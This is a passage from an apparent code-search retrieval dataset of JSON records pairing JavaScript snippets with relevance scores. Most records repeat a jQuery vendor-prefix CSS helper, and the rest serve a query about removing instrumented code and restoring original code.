{\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e46283fe696c0e0958d0701487ea4283", "score": "0.740033", "text": "function vendorPropName( name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "5c6336b7a9b1c5c5f2aeb6ff9d3d8be9", "score": "0.7368553", "text": "function vendorPropName(name) {\n\n // shortcut for names that are not vendor prefixed\n if (name in emptyStyle) {\n return name;\n }\n\n // check for vendor prefixed names\n var capName = name.charAt(0).toUpperCase() + name.slice(1),\n i = cssPrefixes.length;\n\n while (i--) {\n name = cssPrefixes[i] + capName;\n if (name in emptyStyle) {\n return name;\n }\n }\n }", "title": "" }, { "docid": "00c30bfbba4bdf716bd0aca5f872126d", "score": "0.7361237", "text": "function vendorPropName( name ) {\n\t\n\t\t// shortcut for names that are not vendor prefixed\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t\n\t\t// check for vendor prefixed names\n\t\tvar capName = name.charAt( 0 ).toUpperCase() + name.slice( 1 ),\n\t\t\ti = cssPrefixes.length;\n\t\n\t\twhile ( i-- ) {\n\t\t\tname = cssPrefixes[ i ] + capName;\n\t\t\tif ( name in emptyStyle ) {\n\t\t\t\treturn name;\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "598bd88f7b4fc5bcda660a0f56894a67", "score": "0.73557985", "text": "function vendorPropName( style, name ) {\n\n // shortcut for names that are not vendor prefixed\n if ( name in style ) {\n return name;\n }\n\n // check for vendor prefixed names\n var capName = name.charAt(0).toUpperCase() + name.slice(1),\n origName = name,\n i = cssPrefixes.length;\n\n while ( i-- ) {\n name = cssPrefixes[ i ] + capName;\n if ( name in style ) {\n return name;\n }\n }\n\n return origName;\n}", "title": "" }, { "docid": "a22e34846e811e01ee0afae3c01ef562", "score": "0.7352012", "text": "function vendorPropName( name ) {\n\n\t// Shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// Check for vendor prefixed names\n\tvar capName = name[ 0 ].toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "a22e34846e811e01ee0afae3c01ef562", "score": "0.7352012", "text": "function vendorPropName( name ) {\n\n\t// Shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// Check for vendor prefixed names\n\tvar capName = name[ 0 ].toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "a22e34846e811e01ee0afae3c01ef562", "score": "0.7352012", "text": "function vendorPropName( name ) {\n\n\t// Shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// Check for vendor prefixed names\n\tvar capName = name[ 0 ].toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "a22e34846e811e01ee0afae3c01ef562", "score": "0.7352012", "text": "function vendorPropName( name ) {\n\n\t// Shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// Check for vendor prefixed names\n\tvar capName = name[ 0 ].toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "a22e34846e811e01ee0afae3c01ef562", "score": "0.7352012", "text": "function vendorPropName( name ) {\n\n\t// Shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// Check for vendor prefixed names\n\tvar capName = name[ 0 ].toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "a22e34846e811e01ee0afae3c01ef562", "score": "0.7352012", "text": "function vendorPropName( name ) {\n\n\t// Shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// Check for vendor prefixed names\n\tvar capName = name[ 0 ].toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "a22e34846e811e01ee0afae3c01ef562", "score": "0.7352012", "text": "function vendorPropName( name ) {\n\n\t// Shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// Check for vendor prefixed names\n\tvar capName = name[ 0 ].toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "a22e34846e811e01ee0afae3c01ef562", "score": "0.7352012", "text": "function vendorPropName( name ) {\n\n\t// Shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// Check for vendor prefixed names\n\tvar capName = name[ 0 ].toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "a22e34846e811e01ee0afae3c01ef562", "score": "0.7352012", "text": "function vendorPropName( name ) {\n\n\t// Shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// Check for vendor prefixed names\n\tvar capName = name[ 0 ].toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "a22e34846e811e01ee0afae3c01ef562", "score": "0.7352012", "text": "function vendorPropName( name ) {\n\n\t// Shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// Check for vendor prefixed names\n\tvar capName = name[ 0 ].toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "a22e34846e811e01ee0afae3c01ef562", "score": "0.7352012", "text": "function vendorPropName( name ) {\n\n\t// Shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// Check for vendor prefixed names\n\tvar capName = name[ 0 ].toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "a22e34846e811e01ee0afae3c01ef562", "score": "0.7352012", "text": "function vendorPropName( name ) {\n\n\t// Shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// Check for vendor prefixed names\n\tvar capName = name[ 0 ].toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "a22e34846e811e01ee0afae3c01ef562", "score": "0.7352012", "text": "function vendorPropName( name ) {\n\n\t// Shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// Check for vendor prefixed names\n\tvar capName = name[ 0 ].toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "a22e34846e811e01ee0afae3c01ef562", "score": "0.7352012", "text": "function vendorPropName( name ) {\n\n\t// Shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// Check for vendor prefixed names\n\tvar capName = name[ 0 ].toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "a22e34846e811e01ee0afae3c01ef562", "score": "0.7352012", "text": "function vendorPropName( name ) {\n\n\t// Shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// Check for vendor prefixed names\n\tvar capName = name[ 0 ].toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "a22e34846e811e01ee0afae3c01ef562", "score": "0.7352012", "text": "function vendorPropName( name ) {\n\n\t// Shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// Check for vendor prefixed names\n\tvar capName = name[ 0 ].toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}", "title": "" } ]
3678619757cea978656c86e2c6fa9e1e
removes instrumented code and restores original code
[ { "docid": "f214be2c5f4e37d3eb76c7e623199c37", "score": "0.5339526", "text": "function cleanInstrumentedDirectory(dir)\n {\n var bakdir = dir + '_bak'\n if(fs.existsSync(bakdir))\n {\n if(fs.existsSync(dir))\n {\n flow.sync(exec('rm -rf ' + dir, flow.callback()))\n fs.renameSync(bakdir, dir)\n }\n }\n }", "title": "" } ]
[ { "docid": "e343991e6d1d4a4f3feb14ce4d8a143d", "score": "0.6257245", "text": "disassemble()\n\t\t{\n\t\t\tthis._unsubscribeStoreMutations();\n\t\t\tthis._mutation = null;\n\n\t\t\tif (this.isMultiContextMode)\n\t\t\t{\n\t\t\t\tBX.removeCustomEvent(this._mutationEventName, this._handleMutation);\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "b695349ff9fdfdd1f0321fb79da3724b", "score": "0.62285465", "text": "_forget() {\r\n this._compilerObject = undefined;\r\n this._sourceFile = undefined;\r\n }", "title": "" }, { "docid": "1cf46217970fcfdccd253dd1c3a91f4b", "score": "0.61568815", "text": "function rerunCode() {\n resetDebugger(true);\n try {\n setOutErr(true);\n runTrace(parserReturn);\n } catch (err) {\n handleDebugError(err);\n } finally {\n resetOutErr();\n }\n }", "title": "" }, { "docid": "c6b62fc954da8c9dfe961393e02e9f57", "score": "0.6025684", "text": "decline() { }", "title": "" }, { "docid": "8cd92db1c90bfcc76833ca173bacdbf5", "score": "0.589758", "text": "unsee() {}", "title": "" }, { "docid": "8cd92db1c90bfcc76833ca173bacdbf5", "score": "0.589758", "text": "unsee() {}", "title": "" }, { "docid": "8cd92db1c90bfcc76833ca173bacdbf5", "score": "0.589758", "text": "unsee() {}", "title": "" }, { "docid": "1d658cc233fe19eb4547f40990a2d882", "score": "0.57990843", "text": "static indicateUninstrumentedCode() {\n\n // Guard against undefined errors\n if ( PHET_IO_ENABLED ) {\n\n // Assert if validating tandems\n if ( this.validationEnabled() ) {\n assert && assert( false, 'Uninstrumented code detected' );\n }\n\n // Print stack trace if query parameter supplied\n if ( phet.phetio.queryParameters.phetioPrintMissingTandems ) {\n missingTandems.uninstrumented.push( { stack: new Error().stack } );\n }\n }\n }", "title": "" }, { "docid": "f6521605a6ac12e42ec7b9afdc3392fa", "score": "0.56795645", "text": "static Unload() {}", "title": "" }, { "docid": "2e79ed3c54f26f0b0c85cb7d2099b0a8", "score": "0.56267244", "text": "restore() {\n this._sandbox.restore();\n }", "title": "" }, { "docid": "e3aea79127630e422a74599d5e4dc810", "score": "0.55607843", "text": "function resetLocalCode() {\n let initialCode = document.getElementById('starting-code').value;\n codeMirror.setValue(initialCode);\n}", "title": "" }, { "docid": "24e53674ba50cb2db38abec524fa6214", "score": "0.5557293", "text": "unhideSensitiveCode() {\n this.code = unhideText(this.code, this.hidden);\n }", "title": "" }, { "docid": "5161bee749c764af1f0c9a61808a604c", "score": "0.5554485", "text": "processAllCode() {\n this.code = this.processCode(this.code);\n }", "title": "" }, { "docid": "f3c645ed81a20bafd77dd06857140ce9", "score": "0.55509865", "text": "function cleanCode () {\n identifyStringsAndComments();\n removeComments();\n }", "title": "" }, { "docid": "8b055dbec12cda81e9127dc7f57adb4a", "score": "0.55100757", "text": "function normal() {\n setJitCompilerOption(\"ion.warmup.trigger\", 8);\n setJitCompilerOption(\"baseline.warmup.trigger\", 5);\n}", "title": "" }, { "docid": "59306337bd3719d85f58f2803077172e", "score": "0.55007446", "text": "function clearAndTest(){\n clearMarks();\n testCode();\n}", "title": "" }, { "docid": "03a6a4420e7060dbac26664b4b7f4512", "score": "0.54503214", "text": "reset(_source) {\n // Do nothing\n }", "title": "" }, { "docid": "a3152168bf3037136540401ac74c736d", "score": "0.5424963", "text": "function reset(){attachSource(null);attachView(null);protectionData = null;if(protectionController){protectionController.reset();protectionController = null;}if(metricsReportingController){metricsReportingController.reset();metricsReportingController = null;}}", "title": "" }, { "docid": "b5a86d775efc6b651535eec537e025db", "score": "0.54186404", "text": "deinitialize() {}", "title": "" }, { "docid": "b5a86d775efc6b651535eec537e025db", "score": "0.54186404", "text": "deinitialize() {}", "title": "" }, { "docid": "446292cef43b4947da764e4f71277dcd", "score": "0.5417867", "text": "stopUse() {}", "title": "" }, { "docid": "b59bf5461045d702706f5948191d5ada", "score": "0.5396874", "text": "function RemoveCodeElement( index : int ){\n\tbotVar.ProgramSlideUpToIndex(index);\n\tbotVar.program.RemoveAt(index);\n\tcodeIndentList.RemoveAt(index);\n\tcommandCount = Bot.GetCommandCount();\n\tFindMaxProgramLength();\n}", "title": "" }, { "docid": "3131d637700c42ca9ffd6502b7cdc2a4", "score": "0.539165", "text": "function cancelsave() {\n genLib();\n}", "title": "" }, { "docid": "7814748436519b5444d35af3eff9bb35", "score": "0.5374308", "text": "function dummy() {\n return;\n }", "title": "" }, { "docid": "885348b0a73b4af4236e819609399457", "score": "0.5366619", "text": "function SourceCodeFixer() {\n\t Object.freeze(this);\n\t}", "title": "" }, { "docid": "23f0dc080fc5280988aecc50f5a09406", "score": "0.5352936", "text": "function noOP() {\n }", "title": "" }, { "docid": "39fd2663b8ac551ac980ed0d73907522", "score": "0.5340996", "text": "static off() {\n this._debugMode = false;\n this._stack = [];\n console.warn(`${this.FILENAME} : Debug mode turned OFF.`);\n }", "title": "" }, { "docid": "3ab4f195035508f520b1424a2a7b7778", "score": "0.5338649", "text": "function unhookRunInNewContext() {\n vm.runInNewContext = originalRunInNewContext;\n}", "title": "" }, { "docid": "507b1278118cd71842811683a121a485", "score": "0.53232294", "text": "restore() {\n this.stack.pop();\n // Never let the stack be totally empty\n if (this.stack.length < 1) {\n this.stack[0] = m3.identity();\n }\n }", "title": "" }, { "docid": "7c74253775fe4c8e5424031f917f4325", "score": "0.52888465", "text": "function cleanUpInspectedApp(){\n restoreDigest();\n restoreModuleServices();\n }", "title": "" }, { "docid": "2a8c1f82715075f6cac94e8f423931e2", "score": "0.5287797", "text": "function restore() {\n}", "title": "" }, { "docid": "8bca1d6eb48016143b91d4b172a40315", "score": "0.52758795", "text": "function restore() {\n\tif (spy) {\n\t\tspy.mockRestore();\n\t\tspy = undefined;\n\t}\n}", "title": "" }, { "docid": "9df76a17794834eee01875086de33540", "score": "0.5274976", "text": "unbind() {}", "title": "" }, { "docid": "702d9d6eae7e4984aa7d83142d414532", "score": "0.52463466", "text": "finish(_source) {\n // Do nothing\n }", "title": "" }, { "docid": "6f8b3a2f63bc9aad99aeed14b1cc6ba4", "score": "0.52293146", "text": "function SourceCodeFixer() {\n Object.freeze(this);\n}", "title": "" }, { "docid": "2a6d2815154ad55a7be07a004ecdc311", "score": "0.5222276", "text": "dismount() {\n\t}", "title": "" }, { "docid": "8ee927d2808a070b7d5da6b331c0b257", "score": "0.5217552", "text": "removed() {}", "title": "" }, { "docid": "842a2b8373f241278d6f687d1e1c4a3f", "score": "0.5217219", "text": "function stopCodeExec()\r\n{\r\n logData(\"Stop executing the code\");\r\n // Create a new service request with the previous data and send it\r\n var request = new ROSLIB.ServiceRequest();\r\n service_stop_exec.callService(request, function(result) {\r\n console.log(\"Result for service call on \" + service_stop_exec.name + \": \" + result.status);\r\n });\r\n}", "title": "" }, { "docid": "edb886db9ac7658dfa5614bc815af6e6", "score": "0.5207524", "text": "clear() {\n this._instruments.clear();\n }", "title": "" }, { "docid": "f050807eccdf6e51f2f3b966e51b32b6", "score": "0.52069414", "text": "revokeTrack () {\n this.bundle = null\n }", "title": "" }, { "docid": "045758db38b24487786a1c51a3990d77", "score": "0.51920664", "text": "_removedHook() {}", "title": "" }, { "docid": "ef08b92c76394bdbb8476e9fa18abf61", "score": "0.5188533", "text": "restore() {\n this.context.restore();\n }", "title": "" }, { "docid": "a6c292ee914bc6a155dfd32e2701b6c5", "score": "0.51880723", "text": "disband(){\n\n }", "title": "" }, { "docid": "ab4872ff403fa3b4cb4aa32bbccb2d4b", "score": "0.5182382", "text": "reset() {}", "title": "" }, { "docid": "ab4872ff403fa3b4cb4aa32bbccb2d4b", "score": "0.5182382", "text": "reset() {}", "title": "" }, { "docid": "ab4872ff403fa3b4cb4aa32bbccb2d4b", "score": "0.5182382", "text": "reset() {}", "title": "" }, { "docid": "6333db2a55677d601bec808aee0d6ed3", "score": "0.5167169", "text": "async cleanupWorkloadModule() {\n // NOOP by default\n Logger.debug('Cleaning up workload module: NOOP');\n }", "title": "" }, { "docid": "9ee2d465a0884fa602816525249e4744", "score": "0.5164692", "text": "function resetEvaluation() {\n delete require.cache[\n require.resolve('../../app/scripts/evaluation')\n ];\n}", "title": "" }, { "docid": "e88f3add878410aec97361fb5e9d68ff", "score": "0.51600254", "text": "deactivate() { }", "title": "" }, { "docid": "4c4a43748bd610609c6abd3f13c413d1", "score": "0.51517177", "text": "function tearDown() {\n this.mockCaller.reset();\n stubs_.reset();\n}", "title": "" }, { "docid": "dc2585e334b6eb99b7d1e5b98aa0b528", "score": "0.5090914", "text": "function clear() {\n\t/* eslint-disable no-invalid-this */\n\tthis._benchmarks.length = 0;\n} // end FUNCTION clear()", "title": "" }, { "docid": "632ab398fe9c57cec5a18ef85a523cad", "score": "0.5087196", "text": "unprotect() {\n this.i.unprotect();\n }", "title": "" }, { "docid": "393d4207898af72d3ab295d308c5aadc", "score": "0.5084957", "text": "undo() {}", "title": "" }, { "docid": "29ae0bfd38b997c179f4a62282b83f1e", "score": "0.5078746", "text": "restart() {\n this.state = this.stack[0];\n this.stack.length = 0;\n }", "title": "" }, { "docid": "f335b0c6d6d097c63e6f85de2fc7394e", "score": "0.5076161", "text": "cleanup() {}", "title": "" }, { "docid": "f335b0c6d6d097c63e6f85de2fc7394e", "score": "0.5076161", "text": "cleanup() {}", "title": "" }, { "docid": "f335b0c6d6d097c63e6f85de2fc7394e", "score": "0.5076161", "text": "cleanup() {}", "title": "" }, { "docid": "f335b0c6d6d097c63e6f85de2fc7394e", "score": "0.5076161", "text": "cleanup() {}", "title": "" }, { "docid": "f335b0c6d6d097c63e6f85de2fc7394e", "score": "0.5076161", "text": "cleanup() {}", "title": "" }, { "docid": "297de5c1a89bfdb15308d2cecd360b62", "score": "0.50753224", "text": "function reset()\r\n{\r\n module.onStart();\r\n}", "title": "" }, { "docid": "9a4891db4b0b23e75c3f69561658b10e", "score": "0.50732344", "text": "teardown() { }", "title": "" }, { "docid": "2fafb0bcc1c826b7037e3ebfdc16d309", "score": "0.50703615", "text": "static async afterEach() {\n const cch = priv.cache;\n priv.cache = null;\n if (cch && cch.stop) await cch.stop();\n }", "title": "" }, { "docid": "b54cd18f13e27f8f84960dcf890505c1", "score": "0.50682324", "text": "removeDecodedTile() {\n this.m_decodedTile = undefined;\n this.invalidateResourceInfo();\n }", "title": "" }, { "docid": "8b1a47036bc0a16319527f59039421d3", "score": "0.50677043", "text": "removeOnIntercepterFunc(funcName) {\n delete this.onIntercepterFuncs[funcName];\n }", "title": "" }, { "docid": "3dbd17f07e4f01e437cdc600438e3b61", "score": "0.5036286", "text": "end() {\n browser.webRequest.onBeforeRequest.removeListener(libRequestHandler);\n browser.webRequest.onBeforeSendHeaders.removeListener(stripMetadataHandler);\n resetCollectedData();\n }", "title": "" }, { "docid": "fb8530e2651a106a525398a1da65fbb9", "score": "0.5036005", "text": "disable() {\n this.applyUnpatch();\n }", "title": "" }, { "docid": "213c7baa177588d0ab0c1df28d756f72", "score": "0.50349987", "text": "function unhoistMethods(source, methodNames) {\n methodNames.forEach(function (methodName) { return delete source[methodName]; });\n}", "title": "" }, { "docid": "213c7baa177588d0ab0c1df28d756f72", "score": "0.50349987", "text": "function unhoistMethods(source, methodNames) {\n methodNames.forEach(function (methodName) { return delete source[methodName]; });\n}", "title": "" }, { "docid": "213c7baa177588d0ab0c1df28d756f72", "score": "0.50349987", "text": "function unhoistMethods(source, methodNames) {\n methodNames.forEach(function (methodName) { return delete source[methodName]; });\n}", "title": "" }, { "docid": "213c7baa177588d0ab0c1df28d756f72", "score": "0.50349987", "text": "function unhoistMethods(source, methodNames) {\n methodNames.forEach(function (methodName) { return delete source[methodName]; });\n}", "title": "" }, { "docid": "213c7baa177588d0ab0c1df28d756f72", "score": "0.50349987", "text": "function unhoistMethods(source, methodNames) {\n methodNames.forEach(function (methodName) { return delete source[methodName]; });\n}", "title": "" }, { "docid": "08cfb54eea633a028e6cb0d7d94d62d4", "score": "0.5030144", "text": "function testIgnoreNextOutput() {\n //Delete this value from the stack\n VisualBlocks.executor.testExecution.alerts.output.splice(0, 1);\n }", "title": "" }, { "docid": "6c23d58c0d6e6c94e7d585b44af91f5b", "score": "0.50294477", "text": "function drop() { INX(); INX(); }", "title": "" }, { "docid": "b25ff8f789e99d133a94a7a0938e091c", "score": "0.5027251", "text": "function absorb(self, __trace) {\n return absorbWith_(self, _index2.identity, __trace);\n}", "title": "" }, { "docid": "e189faf6a07e16323e4e1e2c88454db1", "score": "0.5020826", "text": "__init7() {this.instrumenter = 'sentry';}", "title": "" }, { "docid": "d2dd57474e8110000b94b70539a0dd9e", "score": "0.50193805", "text": "onExit(path) {\n // restore ignore status, if needed\n if (path.node === this.nextIgnore) {\n this.nextIgnore = null;\n }\n // nuke all attributes for the node\n delete path.node.__cov__;\n }", "title": "" }, { "docid": "d07884a66a103e49b6675ed56bf50166", "score": "0.50179404", "text": "function resetCjs() {\n module = undefined;\n exports = undefined;\n process = undefined;\n }", "title": "" }, { "docid": "3b430778c8c67e75759610f9af4b781c", "score": "0.5013709", "text": "onUnLoad() {}", "title": "" }, { "docid": "7e90df78acad62c5322fb0ffeb626afe", "score": "0.5007199", "text": "teardown () {\n }", "title": "" }, { "docid": "8a2bad5f0b68839b536f451ef528dca5", "score": "0.50025433", "text": "permanentise() {\n this.collapse = null;\n }", "title": "" }, { "docid": "cc0a880cc0ebccdf91046344ba4e7047", "score": "0.49803144", "text": "function _refreshCodeInspection() {\n CodeInspection.toggleEnabled();\n CodeInspection.toggleEnabled();\n }", "title": "" }, { "docid": "043169af8391636ebaa73dc602c8e652", "score": "0.4975106", "text": "function TemporaryRemoveBreakPoints(original_script, change_log) {\n var script_break_points = GetScriptBreakPoints(original_script);\n\n var break_points_update_report = [];\n change_log.push( { break_points_update: break_points_update_report } );\n\n var break_point_old_positions = [];\n for (var i = 0; i < script_break_points.length; i++) {\n var break_point = script_break_points[i];\n\n break_point.clear();\n\n // TODO(LiveEdit): be careful with resource offset here.\n var break_point_position = Debug.findScriptSourcePosition(original_script,\n break_point.line(), break_point.column());\n\n var 